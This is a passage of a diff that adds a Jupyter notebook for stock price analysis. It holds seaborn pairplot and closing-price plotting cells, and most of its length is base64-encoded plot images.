vZ2Aqinjt68B+FG7lOyRJugkghJgO/CaEUAFyULj6hXyELsjI/JF+wDdCiHwUg4XkjyyPTPFDRwgRVujzChQv2ZuEInl0IIrZNyRJChYK3/LzynUvAraSJCX+mwLLFDvepKOzUYQ6JKJ4QXdSfjda+RKUj2IQ/4tyOU85sN8u5xWS+bsUGo+uEkJMQpHDJRjli6mSDcBGIcQDFB4UvSVJeiGE6AT0FELkAFEoEvcmyGPVz44sFM/OvUJREewGiqpkoMjfc0IIESFJUj0hxB3gKYoUAZc+wL53AkeVundTuW0kSbothNgD3EMRnnij0G+6o9DX6SjCvX5UrleAJEl3lfp+VAihiSLUq54kSc+UqywDflIaSwvn9dkA7FdO6p+gqFfT/6PIMSokQ7wQ4pJQFGb5RZKkCZIkRQshngCH3mK7b0SSpK7/56s3lqmXPfk+PYRswCsevMzZIknS8I8ti4zM2yKE0JMkKU25PBmwkiRp1EcWS0ZGRkZGRkZGRub/IoRYDFQBmkiSlP0R5dBBURTD+2UuThmZPyJ7CsnIyPyX+UIIMQXFvSoEZQUFGRkZGRkZGRkZmf8qkiRN/tgyCCEaoqhAtlI2CMn8GbKnkIyMjIyMjIyMjIyMjIyMjEwxRE40LSMjIyMjIyMjIyMjIyMjI1MMkY1CMjIyMjIyMjIyMjIyMjIyMsUQ2SgkIyMjIyMjIyMjIyMjIyMjUwyRjUIyMjIyMjIyMjIyMjIyMjIyxRDZKCQjIyMjIyMjIyMjIyMjIyNTDPkfGRjP0JF4j3YAAAAASUVORK5CYII=", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "sns.pairplot(stock_df,hue='Turnover (Lacs)', palette=\"rocket\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "l_cB1u7hAmjm", + "outputId": "5c581f14-4ada-4af3-88db-51be0d90596e" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "0 233.75\n", + "1 233.25\n", + "2 234.25\n", + "3 236.10\n", + "4 233.30\n", + " ... \n", + "2030 118.65\n", + "2031 117.60\n", + "2032 120.65\n", + "2033 120.90\n", + "2034 121.55\n", + "Name: Close, Length: 2035, dtype: float64" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df_close=stock_df.reset_index()['Close']\n", + "df_close" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "4LVpWKeYHgMg" + }, + "source": [ + "**plotting close value graph**\n", + "\n" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "uLtkHwspHQYy", + "outputId": "c77651b5-92ee-4a25-8bac-a1fd7896b9b2" + }, + "outputs": [ + { + "data": { + "image/png": "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